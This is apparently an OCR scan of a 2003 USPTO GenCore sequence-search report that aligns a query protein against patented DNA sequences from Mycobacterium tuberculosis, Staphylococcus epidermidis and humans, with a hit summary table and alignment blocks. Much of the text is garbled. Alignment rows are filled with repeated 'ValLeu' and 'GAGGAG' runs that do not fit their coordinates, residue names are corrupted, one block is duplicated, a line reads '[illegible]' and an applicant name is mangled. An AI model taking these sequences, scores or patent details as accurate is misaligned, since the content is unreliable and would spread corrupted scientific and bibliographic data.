 DB 591 TGGATGTTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 650
 |||||
 OY 101 eGlnLys-----ProLeuCysSerLeuPr 109
 |||||
 DB 651 CGACCAAGACACACCCCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 710
 |||||
 OY 109 oAlaGlySerGlyValLeuValLeuValLeuValLeuValLeuValLeuValLeu 129
 |||||
 DB 711 CGAGGAGTCAACGAGTGCCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 746
 |||||
 OY 129 lThraGluValLeuValLeuValLeuValLeuValLeuValLeuValLeuValLeu 149
 |||||
 DB 747 GGGACACAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 804
 |||||
 OY 149 oMetAnLeuSerLeuHisThraSerGlyValLeuValLeuValLeuValLeu 169
 |||||
 DB 805 -ATGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 863
 |||||
 OY 169 uAlaTrpGlyPheLeuAlaAspValLeuValLeuValLeuValLeuValLeuValLeu 189
 |||||
 DB 864 GGGCTACGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 923
 |||||
 OY 189 uMetArgPheThrLeuGlyThrPheLeuValLeuValLeuValLeuValLeuValLeu 209
 |||||
 DB 924 TGCAGATAGGAGTGTGAGTTAAAGCTTCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 983
 |||||
 OY 209 gLeuAlaThrLeuPro-----ValGlyArgValGlyPheLysThrPro----- 223
 |||||
 DB 984 AGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1043
 |||||
 OY 224 -AlaSerProValValLeuGlnGlyProValAspAlaHisLeuValProLeuGluG 243
 |||||
 DB 1044 GGCAGAGTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1088
 |||||
 OY 243 uGlnValPro-----SerHisTrpGlnLys 251
 |||||
 DB 1089 GAGAGCAG 1148
 |||||
 OY 251 lValProArgGlyValLeuValLeuValLeuValLeuValLeuValLeuValLeu 271
 |||||
 DB 1149 CGTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1196
 |||||
 OY 271 uMetPheAlaAlaProMetGlyArgCysAlaAla-----GlyValMetHis 286
 |||||
 DB 1197 TTGTGCGCGAG 1256
 |||||
 OY 286 sLeuPheTrpValArgAlaGlyValLeuValLeuValLeuValLeuValLeuValLeu 306
 |||||
 DB 1257 CTCATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1310
 |||||
 OY 306 tGlnLysGlyArgHisMetGlyTrpGlyCysProTrpLeuValTrpValProValValAl 326
 |||||

DB 1311 GCACACCAACACAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1370
 |||||
 OY 326 aPheArg-----LeuGluProLysAsp-----GlyLys 335
 |||||
 DB 1371 ATTCCAGTTTACCTGCGAAGACACATGAGAGATGAGAGAGGAGGAGGAGGAGGAGGAG 1430
 |||||
 OY 335 sGlyValPheAla----- 339
 |||||
 DB 1431 GAACCGCTTGGGAGACATTTGACAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1490
 |||||
 OY 340 -----ValAspGlyGlyLeuMetValSerGluAlaValGlnGlyValLeuHisPr 356
 |||||
 DB 1491 CTCCTGAGACTGCGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1550
 |||||
 OY 356 oAsnTrpPheTrpMetValSerGlyCysValGluProProGlySerTrpLysPro 374
 |||||
 DB 1551 CCAGCTGTTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1599
 |||||

RESULT 15

US-09-969-896-16

Sequence 16, Application US/09969896

Publication No. US2003012533A1

GENERAL INFORMATION:

APPLICANT: Kossida, Sophia

TITLE OF INVENTION: Regulation of human Sphingosine

FILE REFERENCE: 004974.00594

CURRENT FILING DATE: 2001-10-04

PRIOR FILING DATE: 2000-10-06

PRIOR APPLICATION NUMBER: US 60/238,005

PRIOR FILING DATE: 2001-08-23

NUMBER OF SEQ. ID NOS: 16

SOFTWARE: FastSeq for Windows Version 4.0

SEQ ID NO 16

LENGTH: 4413

TYPE: DNA

ORGANISM: Homo sapiens

US-09-969-896-16

Alignment Scores:

Pred. No.: 3,28e-23

Score: 268.50

Percent Similarity: 41.23%

Best Local Similarity: 24.83%

Query Match: 13.33%

DB: 9 Gaps: 15

US-09-784-810a-2 (1-384) x US-09-969-896-16 (1-4413)

OY 2 ASPROAAGLYGlyPro-ArgGlyValLeuProArgProCysArgValLeuValLeu 21
 |||||
 DB 426 GACCTGCGGAGATGCTGAGAGAGCTGACGTCCAGACCAACATTTACTGTTAT 485
 |||||
 OY 21 uasnProArgGlyGlyValLeuValLeuValLeuValLeuValLeuValLeuValLeu 41
 |||||
 DB 486 CAACCCGTTGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 545
 |||||
 OY 41 uLeuAlaGlyValLeuValLeuValLeuValLeuValLeuValLeuValLeuValLeu 61
 |||||
 DB 546 GTTACCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 605
 |||||
 OY 61 gGluLeuValArgSerGlyValLeuValLeuValLeuValLeuValLeuValLeuValLeu 81
 |||||
 DB 606 GAGAGCTGCTGTATGAGATTAACATTAACATTAACATTAACATTAACATTAACATTAACAT 665
 |||||
 OY 81 pGlyLeuMetHisGlyValLeuValLeuValLeuValLeuValLeuValLeuValLeuValLeu 101
 |||||
 DB 666 TGGATGTTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 725
 |||||
 OY 101 eGlnLys-----ProLeuCysSerLeuPr 109
 |||||

THIS PAGE BLANK (USPTO)

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM protein - nucleic search, using frame_plus_p2n model

Run on: July 12, 2003, 18:10:08 ; Search time 65 Seconds
(without alignments)
1811.752 Million cell updates/sec

Title: US-09-784-810A-2
Perfect score: 2015
Sequence: 1 MDPAAGRGVLRPCRVLYL.....CDEPPPSWKPQOMPPEEPL 384

Scoring table:
BLOSUM62
Xgapop 10.0, Xgapext 0.5
Ygapop 10.0, Ygapext 0.5
Fgapop 6.0, Fgapext 7.0
Delop 6.0, Delext 7.0

Searched: 441362 segs, 153338381 residues

Total number of hits satisfying chosen parameters: 882724

Minimum DB seq length: 0
Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%
Maximum Match 100%
Listing first 45 summaries

Command line parameters: -DEV-xlh

-MODEL=frame+2n model -DEV-xlh
-O=/cg2_1/USPTO/spool/US09784810/runat_11072003_103442_26578/app_query.fasta.1.583
-DB=Issued_Patents_NA -QEXT=fastap -SUFFIX=tri -MINMATCH=0.1 -LOOPCL=0
-LOOPEXT=0 -UNITS=Dits -START=1 -END=1 -MATRIX-Biosum62 -TRANS-human40.cdi
-LIST=45 -DOCALIGN=200 -THR_SCORE=pct -THR_MAX=100 -THR_MIN=0 -ALIGN=15
-MODE=LOCAL -OUTFMT=pcio -NOR=ext -HEADSIZE=500 -MINLEN=0 -MAXLEN=2000000000
-USER=US09784810.ecgn1.1.40.ernat_11072003_103442_26578 -NCPU=6 -ICPU=3
-NO_MAP -LARGEQUERY -NEG_SCORES=0 -WAIT -DSBLOCK=100 -LONGLOS
-DEV_TIMEOUT=120 -WARN_TIMEOUT=30 -THREADS=1 -XGAPOP=10 -XGAPEXT=0.5 -FGAPOP=6
-FGAPEXT=7 -YGAPOP=10 -YGAPEXT=0.5 -DELOP=6 -DELEXT=7

Database : Issued_Patents_NA:*

- 1: /cg2_6/ptodata/1/ina/5A.COMB.seq:*
- 2: /cg2_6/ptodata/1/ina/5B.COMB.seq:*
- 3: /cg2_6/ptodata/1/ina/6A.COMB.seq:*
- 4: /cg2_6/ptodata/1/ina/6B.COMB.seq:*
- 5: /cg2_6/ptodata/1/ina/PCITUS.COMB.seq:*
- 6: /cg2_6/ptodata/1/ina/Dackfiles1.seq:*

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length DB	ID	Description
1	127.5	6.3	4403765	4 US-09-103-840A-2	Sequence 2, Appl1
2	126.5	6.3	4411529	4 US-09-103-840A-1	Sequence 1, Appl1
3	113	5.6	900	4 US-08-961-527-332	Sequence 332, App
4	110	5.5	1003	4 US-09-134-001C-1937	Sequence 1937, Ap
5	105	5.2	975	4 US-09-134-001C-1937	Sequence 1937, Ap
6	102.5	5.1	5092	4 US-09-412-250-3	Sequence 3, Appl1
7	99.5	4.9	111282	4 US-08-367-841A-43	Sequence 43, Appl1
8	98	4.9	22481	5 PCT-US95-07201-43	Sequence 43, Appl1
9	98	4.9	22481	4 US-09-875-223-2	Sequence 2, Appl1
10	98	4.9	22484	4 US-09-103-840A-2	Sequence 1, Appl1
11	98	4.9	4403765	4 US-09-103-840A-1	Sequence 1, Appl1
12	98	4.9	4411529	4 US-09-103-840A-2	Sequence 1, Appl1

13	96	4.8	23673	4 US-09-773-816-1	Sequence 1, Appl1
14	95	4.7	36519	3 US-08-923-137-2	Sequence 2, Appl1
15	94	4.7	1649	2 US-08-845-566-2	Sequence 2, Appl1
16	93	4.6	5360	3 US-08-444-818-53	Sequence 53, Appl
17	93	4.6	6785	3 US-08-444-818-65	Sequence 65, Appl
18	93	4.6	7310	3 US-08-444-818-74	Sequence 74, Appl
19	93	4.6	8316	3 US-08-444-818-88	Sequence 88, Appl
20	93	4.6	8987	3 US-08-444-818-137	Sequence 137, App
21	93	4.6	9185	3 US-08-444-818-132	Sequence 122, App
22	93	4.6	9185	3 US-08-444-818-133	Sequence 123, App
23	93	4.6	9379	3 US-08-444-818-176	Sequence 176, App
24	93	4.6	9379	4 US-09-388-874-1	Sequence 1, Appl1
25	93	4.6	9401	1 US-07-910-760-9	Sequence 1, Appl1
26	93	4.6	9401	1 US-08-440-519-9	Sequence 9, Appl1
27	93	4.6	9401	1 US-08-440-549-9	Sequence 9, Appl1
28	93	4.6	9401	4 US-08-823-895A-25	Sequence 25, Appl1
29	92	4.6	2201	4 US-09-010-233-3	Sequence 17, Appl
30	92	4.6	3666	6 5248670-3	Patent No. 5248670
31	92	4.6	9401	5 PCT-US91-02225-9	Sequence 9, Appl1
32	91	4.5	49272	1 US-08-614-770A-1	Sequence 1, Appl1
33	90.5	4.5	3546	4 US-08-872-757-3	Sequence 3, Appl1
34	90.5	4.5	4041	4 US-09-105-537-36	Sequence 36, Appl
35	90.5	4.5	35100	2 US-08-770-379-17	Sequence 17, Appl
36	90.5	4.5	35100	4 US-08-757-668A-17	Sequence 17, Appl
37	90.5	4.5	35100	4 US-09-230-371A-17	Sequence 17, Appl
38	90.5	4.5	36778	4 US-09-105-537-5	Sequence 5, Appl1
39	90	4.5	3027	2 US-08-680-326-23	Sequence 23, Appl1
40	90	4.5	19056	4 US-09-272-032-8	Sequence 8, Appl1
41	89.5	4.4	2040	2 US-08-031-538-10	Sequence 10, Appl
42	89.5	4.4	2769	4 US-09-118-408-1	Sequence 1, Appl1
43	89.5	4.4	2769	4 US-09-506-855-1	Sequence 1, Appl1
44	89	4.4	1907	4 US-09-443-184-40	Sequence 40, Appl
45	88.5	4.4	1611	2 US-08-551-211-4	Sequence 4, Appl1

ALIGNMENTS

RESULT 1
US-09-103-840A-2
Sequence 2, Application US/09103840A
Patent No. 6294328
GENERAL INFORMATION:
APPLICANT: FLEISCHMAN, Robert D.
APPLICANT: FRASER, Claire M.
APPLICANT: VENTER, John C.
TITLE OF INVENTION: DNA SEQUENCES FOR STRAIN ANALYSIS IN MYCOBACTERIUM
FILE REFERENCE: TUBERCULOSIS
CURRENT APPLICATION NUMBER: US/09/103,840A
CURRENT FILING DATE: 1998-06-24
NUMBER OF SEQ ID NOS: 2
SOFTWARE: Patentln Ver. 2.1
SEQ ID NO 2
LENGTH: 4403765
TYPE: DNA
ORGANISM: Mycobacterium tuberculosis
FEATURE:
OTHER INFORMATION: CDC 1551
OTHER INFORMATION: "n" bases at various positions throughout the sequence
OTHER INFORMATION: Represent a, t, c or g
US-09-103-840A-2
Alignment Scores:
Pred. No.: 24
Score: 127.50
Percent Similarity: 41.50%
Best Local Similarity: 27.89%
Query Match: 6.33%
DB: 4
Gaps: 2
US-09-784-810A-2 (1-384) x US-09-103-840A-2 (1-4403765)

DB 530 AGCAGAAATTCGCCAACCGGGATGCGA----- 501
QY 201 AAlaAlaLeuArGThrTyrGlyArgLeuAlaThrLeuProValGlyArgValGlyPhe 220
DB 500 -----GCGCTATTCATCTAT 486
QY 221 LysThrProLaserProValValGlnGlnGlnProValAspLahis----- 237
DB 485 GCGGGAACCATGATGAGAGTACTGCTCAAAACCAACCGAAGATCCAACTGACGATAG 426
QY 238 ---LeuValProLeuGlu-GluGlnValProSerHisTrpGlnValValProAspGluAs 256
DB 425 ACGGCAAAATCTTTGAGGAAAGCTTCTCCGTCAC-----TTGGTCCCA----- 380
QY 256 pPheValLeuValLeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaLapr 276
DB 379 -----ATGCGCCCGCATGATGCGAATAACGCTTATATGCGTCC 342
QY 276 oMetGlyArgGlyAlaAlaGlyValMetHisLeuPheTyrValArgAlaGly----- 293
DB 341 ATTAGCGGATTTGGAGGATGATAAATGATGATGATATATTCGCTTCAATCCATT 282
QY 294 -ValSerArgAlaMetLeuLeuArgLeuPheLeu--AlaMetGluLysGlyArgHisMe 312
DB 281 GGAAGCTCCACATTTGGCTTACACTCTTTACCAACCGTATCAGACGAACTCCAAATCT 222
QY 312 Lglu---TyrGluCysProTyrLeuValTyrValProValAlaAlaPheArgLeuGluPr 331
DB 221 GGAACCTATTAAGGCGGAAACCTGATCAT-----GA 189
QY 331 oLysAspGlyLysGlyValPheAlaValAspGlyGlu-LeuMetValSerGluAlaValG 351
DB 188 GCGTAGACAGAGGAGGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 129
QY 351 LnglGlnVal-----HisProAsnTyrPheTrpMetValSerGlyCysValG 367
DB 128 TAGATTCGACACTACGCGGCTCACTAAGATTTTG---CTACTGAAACTACACTTG 72
QY 367 LurProProSerTrp---LysProGlnGlnMetProProGlu 381
DB 71 AAGTCCCACTCTTCTTAAACCAATAAATACCCGTAACCGAG 25
RESULT 5
US-09-134-001C-1937
; Sequence 1937, Application US/09134001C
; Patent No. 6380370
; GENERAL INFORMATION:
; APPLICANT: Lynn Doucette-Stamm et al
; TITLE OF INVENTION: NUCLEIC ACID AND AMINO ACID SEQUENCES RELATING TO STAPHYLOCOCCUS
; FILE REFERENCE: GTC-007
; CURRENT APPLICATION NUMBER: US/09/134,001C
; PRIOR FILING DATE: 1998-08-13
; PRIOR APPLICATION NUMBER: US 60/064,964
; PRIOR FILING DATE: 1997-11-08
; PRIOR APPLICATION NUMBER: US 60/055,779
; PRIOR FILING DATE: 1997-08-14
; NUMBER OF SEQ ID NOS: 5674
; SEQ ID NO 1937
; LENGTH: 975
; TYPE: DNA
; ORGANISM: Staphylococcus epidermidis
US-09-134-001C-1937

US-09-784-810a-2 (1-384) x US-09-134-001C-1937 (1-975)
QY 16 ArgValLeuValLeuLeuAsnProArGlyLysLysGlyLysAlaLeuGlnLeuPheArg 35
DB 34 CGTCAGAAATTTAT 81
QY 36 SerHisValGlnProLeuLeuAlaGlnValGlnLeuSerPheThrLeuMetLeuThrGlu 55
DB 82 CGT-----GTATTACCAATGCA-----CTGATTAATACTTGAG 114
QY 56 ArgArgAsnHisAlaArgLeuLeuValArgSerGluGluLeuGly----- 70
DB 115 AAGCAGGTTATGAAACGAGTGCATATGCACTGAAAAAATTTGGTATGCTACTTTGAA 174
QY 71 -----ArgTrpAspAlaLeuValValMetSerGlyAspGlyLeu 83
DB 175 GCTGAAGAGCACTAGAAAGTGAATATGATTACTCATTCGACGTGAGGTGACGTGACG 234
QY 84 MetHisGluValValAlaGlnGlyLeuMetGluArgProAspTrpGluThrAlaGlnLys 103
DB 235 TTAAATAGGTGCTCAACGGAATCCCGCAACACCAAT-----CGGCT 279
QY 104 ProLeuCysSerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeuAsnHisTyr 123
DB 280 AAATTAGGTATATACCAATGGGACCGTTATGACTTTGAAAGACACTTCAT----- 333
QY 124 AlaGlyTyrGlnGlnValThrAsnGluAspLeuLeuThrAsnCysThrLeuLeuLeu 143
DB 334 -----TTACCA 339
QY 144 ArgProValLeuSerProMetAsn---LeuLeuSerLeuHisThrAlaSerGlyLeuArg 162
DB 340 AGCATATATATGGGGCGATGATGATATATATATATATATATATATATATATATATAT 390
QY 163 SerPheSerValLeuSerLeuAlaTrpGlyPheLeuAlaAspValAspLeuGluSerAsp 182
DB 391 -----GTAAATATGCAAAATGAAATAT 414
QY 183 LysTyrArgArgLeuGlnGlyLeuMetArgPheThrLeuGlnTyrPheLeuArgLeuAla 202
DB 415 CGTTAT-----TTCAATTAACCTACTGCA 438
QY 203 LeuArgThrTyrArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPheLysThr 222
DB 439 -----GCGGGAACCTAACCA-----CAACTATCTTAAGAACCA 471
QY 223 ProLaserProValValGlnGlnGlnProValAspAlaSerLeuValProLeuGlu 242
DB 472 CCA---AGTAAAGTTGAATCAATTGTAGACCGGTC---GCGTATTAATTAAGGATTC 525
QY 243 GlnGlnValProSer-----HisTrpGlnValVal 252
DB 526 GAAATGTACTCTCAATTAAGAACAGTATGATGATGATGATGATGATGATGATGATGAT 585
QY 253 ProAspLysPhePheValLeuValLeuAlaLeuLeuHisSerHisLeuAlaSerGluMet 272
DB 586 CAAGGAAACCTTATATATCTTTAGCTTTAAGCATTCATGCGCTGCTTAAGAAAA 645
QY 273 PheAlaLapProMetGlyArgCysAlaAlaGlyValMetHisLeuPheTyrValArgAla 292
DB 646 TTA---GTTCCAGATCCGAGCTGACGACGATATTTCACGTTAATTAATTAAGAAAA 702
QY 293 GlyValSerArgAlaMetLeuLeuArgLeuPheLeuAlaMetGluLysGlyArgHisMet 312
DB 703 ---GCAAAATCTTGCATATTTGGTCATATTTGACACTACGCTGAGGTAGCATCA 759
QY 313 GluTyrGluCysProTyrLeuValTyrValProValAlaLapPheArgLeuGluProLys 332
DB 760 AAACAT-----CTTAAGTCAATTTATGCTTAAGCGAAGGCTATTAATTTTCATCA--- 810
QY 333 AspGlyLysGlyValPheAlaValAspGlyLysLeuMetValSerGluAlaValGlnGly 352
DB 811 -----TTTACTGATATGCACTTAATGTTGATGTTGATGTTGATGTTGATGTTG 852

[illegible]

Db 20585 CTTGGGCAAGGCTATCAACAGATCTCTGGAACTCTAGACAGAGTCCCTCAAAACCG 20644
 QY 278 -----GLYARGCYSALAALAGLYVALMETHISTLEUPHETYL----- 289
 Db 20645 AGGAGACACCGCCAGGTGTGCA-----CACAGCTTTCTGTACAGATTTGGGA 20692
 QY 290 -----VALARGALAGLYVA 294
 Db 20693 GGACTCTGGGATCCCTGACACACCATCTGTCCATGGGACCTTAGGTAAAGGCTCTGT 20752
 QY 294 1serArgAlaMetLeuLeuArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyr 314
 Db 20753 TCAAGAGAGGCTTTGCTCTGTGTG-----GGTGGATGGGGAGAGT 20794
 QY 314 rglu-----CysProTyrLeuVal 320
 Db 20795 CTCGAAGCCCTCTTTCGAGCCCTTGGATTCCTATTCGCCGGTCTGTGCTGTAGT 20854
 QY 320 ltyrValProVal----- 324
 Db 20855 CCAAGTCTCTCTATTAAACAATGACAGTAATGTACACCGATGGACTTTGGAGACAA 20914
 QY 325 -----VALALAPHEALG-LEUGLUPRO--LysAspGlyLysGlyValPheAlaVal 341
 Db 20915 TAAAGACCTGATTAATTAATTCAGCTCTTAAACCAACGAGAGAACATCTTTCACGACAC 20974
 QY 341 spgGlyLeuMetValSerGluAlaValGlnGlyLysValHisProAsnTyrPheTyrM 361
 Db 20975 AACTTCAGTTGATTAAGCCCAAGGTAAAGAACGCCAACAGCATCTTTCTG----- 21027
 QY 361 etValSerGlyCysValGluProProSerTyrLysProGlnGlnMet 377
 Db 21028 -----AGAAACCTCAGAGAGT 21045
 RESULT 10
 US-09-875-223-2
 ; Sequence 2, Application US/09875223
 ; Patent No. 6391850
 ; GENERAL INFORMATION:
 ; APPLICANT: No. 6391850thwestern University
 ; APPLICANT: No. 63918501 Bouck
 ; APPLICANT: David Dawson
 ; APPLICANT: Paul Gillis
 ; TITLE OF INVENTION: Methods and Compositions for Inhibiting Angiogenesis
 ; FILE REFERENCE: 0290-2303
 ; CURRENT APPLICATION NUMBER: US/09/875,223
 ; PRIORITY FILING DATE: 2001-06-06
 ; PRIOR APPLICATION NUMBER: US 09/122,079
 ; PRIOR FILING DATE: 1998-07-23
 ; PRIOR APPLICATION NUMBER: PCT/US98/15228
 ; PRIOR FILING DATE: 1998-07-23
 ; PRIOR APPLICATION NUMBER: US 08/899,304
 ; PRIOR FILING DATE: 1997-07-23
 ; NUMBER OF SEQ ID NOS: 2
 ; SOFTWARE: PatentIn Ver. 2.1
 ; SEQ ID NO 2
 ; LENGTH: 22484
 ; TYPE: DNA
 ; ORGANISM: Homo sapiens
 ; FEATURE:
 ; NAME/KEY: Unsure
 ; LOCATION: 1...22484
 ; OTHER INFORMATION: "n" means either a, c, t, or g
 US-09-875-223-2
 Alignment Scores:
 Pred. No.: 13.1 Length: 22484
 Score: 98.00 Matches: 80
 Percent Similarity: 33.96% Conservative: 28
 Best Local Similarity: 25.16% Mismatches: 129
 Query Match: 4.86% Indels: 17
 Db: 4 Gaps: 17

US-09-784-810a-2 (1-384) x US-09-875-223-2 (1-22484)
 QY 139 ThrLeuIleuLeuCysArgProValLeuSerProMetAspIleuLeuSerLeuHisThrAla 158
 Db 20244 ACAAGTCTGCTGTCTGTGCGCAGGCTGGAGATCCAGTGCACGATCTCGGCTCACCAAC 20303
 QY 159 Ser-----GlyLeuArgSerPheSerValLeuSerLeuAlaTyrGlyPheAla 175
 Db 20304 TCCGCCCCCGCTGGGTAAAGCATCTCTGCTCAAGCTC----- 20345
 QY 176 AspValAspLeuLeuSerAspLysTyrArgArgLeuGlyLeuMetArgPheThrLeuGly 195
 Db 20346 -----CTGAGTACGTGGATTAACAGCGAGTGTGCTSCA-----TGCCTGCT 20387
 QY 196 ThrPheLeuArgLeuAlaAlaLeuAlaThrTyrArgGlyArgLeuAlaThrLeuProVal 215
 Db 20388 AATTATATACAGACGAGGGTTCTCCAT-----GTT 20417
 QY 216 GlyArgValGlyPheLysThrProAlaSer-----ProValValValGlnGlnGly 232
 Db 20418 GGTACAGCTGTCTGTCAAACTGCCAACTCAGGTATCCGCTGCTGCTCCCAAAAC 20477
 QY 233 ProValAspAlaHisLeuValProLeuGlnGlnValProSerHisThrGln----- 250
 Db 20478 ACAGGGATTCAGGCAATGAGCA-----CCACGCTGCCAATCGTTGGCATTTGAG 20531
 QY 251 -----ValValProAspLysAspPheValLeuValLeuAlaLeu----- 263
 Db 20532 GCTTTCAGTGTACT-----GACTCTCT-TTAACTCTAAGTCTGAACCTTTAACCTTT 20584
 QY 264 -----LeuHisSerHisLeuAlaSerGlnMetPheAlaAlaProMet----- 277
 Db 20585 CTTGGGCAAGGCTATACAGCATCTCTCGGAATCTGACAGACAGTGCCTCAAAACCG 20644
 QY 278 -----GLYARGCYSALAALAGLYVALMETHISTLEUPHETYL----- 289
 Db 20645 AGGAGACACCGCCAGGTGTGCA-----CACAGCTTTCTGTACAGATTTGGGA 20692
 QY 290 -----VALARGALAGLYVA 294
 Db 20693 GGACTCTGGGATCCCTGACACACCATCTGTCCATGGGACCTTAGGTAAAGGCTCTGT 20752
 QY 294 1serArgAlaMetLeuLeuArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyr 314
 Db 20753 TCAAGAGAGGCTTTGCTCTGTGTG-----GGTGGATGGGGAGAGT 20794
 QY 314 rglu-----CysProTyrLeuVal 320
 Db 20795 CTCGAAGCCCTCTTTCGAGCCCTTGGATTCCTATTCGCCGGTCTGTGCTGTAGT 20854
 QY 320 ltyrValProVal----- 324
 Db 20855 CCAAGTCTCTCTATTAAACAATGACAGTAATGTACACCGATGGACTTTGGAGACAA 20914
 QY 325 -----VALALAPHEALG-LEUGLUPRO--LysAspGlyLysGlyValPheAlaVal 341
 Db 20915 TAAAGACCTGATTAATTAATTCAGCTCTTAAACCAACGAGAGAACATCTTTCACGACAC 20974
 QY 341 spgGlyLeuMetValSerGluAlaValGlnGlyLysValHisProAsnTyrPheTyrM 361
 Db 20975 AACTTCAGTTGATTAAGCCCAAGGTAAAGAACGCCAACAGCATCTTTCTG----- 21027
 QY 361 etValSerGlyCysValGluProProSerTyrLysProGlnGlnMet 377
 Db 21028 -----AGAAACCTCAGAGAGT 21045
 RESULT 11
 US-09-103-840a-2/c
 ; Sequence 2, Application US/09103840A
 ; Patent No. 6294328
 ; GENERAL INFORMATION:
 ; APPLICANT: FLEISCHMAN, Robert D.
 ; APPLICANT: WHITE, Owen R.


```

OY      3  ProAlaGlyIyLysProArgGlyValIleuProArgProCysArgValIleuValIleuAsn 22
Db      4192302  CCCCCTGGCGGAGCTTCAAGGCTTCCGCGAGCGGCC----- 4192267
OY      23  ProArgGlyIyLysGlyAlaIleuGlnIleuPheArg---SerHisValGlnProIleu 41
Db      4192266  -----GGTTCAGACAGACATCCGCTTACAGACGTCCGGCTTCGGCAGCGGCT 4192216
OY      42  LeuAlaGluAlaGlnIleuSerPheThrIleuMetIleuThrIuArgArgHisAlaArg 61
Db      4192215  GACGGTGAAGCG-----CATACACAGAGACACCGCATG 4192183
OY      62  GluIleuValArgSerGluIleuGlyArgTrpAspAlaIleuValIleuMetSerGlyAsp 81
Db      4192182  GAACGTG-----ATGTCACCGATCCATCCGCTG---TTCCTTATCACCGCATG 4192141
OY      82  GlyIleuMetHisGluValValAlaAsnGlyIleuMetGluArgProAspTrpIuThrAlaIle 101
Db      4192140  TCCGCGAGCATCCGCTGATGTCGGCGCGCTGCAG----- 4192105
OY      102  GlnIlyProIleuCysSerIleuProAlaGlySerGlyAsnAlaIleuAlaIleuSerIleuAsn 121
Db      4192104  -----CTGTTTCAGACCCACCGCGCGCGCGGAGCT----- 4192075
OY      122  HisTrpAlaGlyIyTrpGluIleuValIleuAsnGluAspIleuThrAsnGlyThrIleuIleu 141
Db      4192074  -----GGGTTGTGTGGGAAACCTATCAG-----GCGATGCTT 4192042
OY      142  LeuCysArgProVal-----LeuSerProMetAsnIleuSerIleuHisAlaSer 159
Db      4192041  CAGTGGCGGAGATAGACACCGCTATTCGACAGCGCCACGCTTCACGCTGCA--- 4191985
OY      160  GlyIleuArgSerPheSerValIleuSerIleuArgIleuGlyIleuAlaIleuValIleu 179
Db      4191984  -----CTCATACACCTCGCGTGGTGGTGCACCGACCGCTTACGCTGACCTC 4191943
OY      180  Glu----- 180
Db      4191942  GGCCTACACGCGCGGCGGTCTGCCGCGCGCGCGCGGCTGCGTAGCTGTGGAA 4191883
OY      181  -----SerAspIySerIyArgArgIleuGlyIleuMetArg 191
Db      4191882  CTGACGCTCACGGTACACTCCATCTGCTGCAGCGCGACCGCGCGCTTCGGAAACACAC 4191823
OY      192  PheThrIleuGlyIyThrPheIleuArg-IleuAlaAlaIleuArgThrIyArgGlyArgIleuAl 211
Db      4191822  GTGATCGAGGCG-----CTCCGGGATGAGACGCTTTCGATCTAT-----CGAAGATG 4191775
OY      211  aThrIleuProValIyArgValIyIleuPheIySerProAlaSerProValIyAlaGlnGln 231
Db      4191774  CACCGACGCCCT--GGTTCAGCGGGGTCTCCGACCTTACGCT-----GA 4191735
OY      231  nGlyProValAspAlaHisIleuValIleuGluIleuGlnIleuValIleuSerHisTrpGlnIy 251
Db      4191734  TCGCGCAGCGCATGACACACCGAC--CCATGACAGGCAAGTTGCGACACCGCTGGTGCAC 4191677
OY      251  IValIleuProAspGluAspPheVal----- 258
Db      4191676  GCGGACGCGACACACCGCATGACGACGCGCGCGCGCTTCACACGCTGGGCGCAT 4191617
OY      259  -----LeuValIleuAlaIleuIleuHisSerHisIleuAl 269
Db      4191616  GCTGGGATGCTGTGCGCGGCTGCTCCCTCAACGTTGCGACTGCGCGCTTCGCGCTTGAT 4191557
OY      269  aSerGluMetPheAlaAlaIleuPrometGly----- 278
Db      4191556  CGAACAACAAGTTGACACCTGCTTGGGGCGCGCGCACACGATCTCATATGTCGCGTGG 4191497
OY      279  -----ArgGlyAlaAlaGlyIyAlaMetHisIleuPheTrpValIyArg----- 291
Db      4191496  GGGAGCGCGCGCTGGCGCGCGCGAGCTCTGGCGCTTGGACCGGCGTAAAGCGCGTAAAGA 4191437
OY      292  ----AlaGlyValIleuArgAlaMetIleuIleuArgIleuPheIleuAlaMetGluIyGlyArg 310

```

```

Db      4191436  CGCGCGCGGGGTGAGC-----CTCACACGCTGTGTGGCGATGGCGCGCGCGCG 4191386
OY      310  gHisMetGluTrp-----GluCysProIyIleuValIyArg 322
Db      4191385  ACTTCGGAATATCTGAGACACACGACGCGCTGCCGACACGCGCGCTGTTCGATGGT 4191326
OY      322  IProVal 324
Db      4191325  TCCGGTG 4191319

RESULT 13
US-09-773-816-1
; Sequence 1, Application US/09773816
; Patent No. 6340774
; GENERAL INFORMATION:
; APPLICANT: Stanford University
; APPLICANT: Khosla, Chaitan
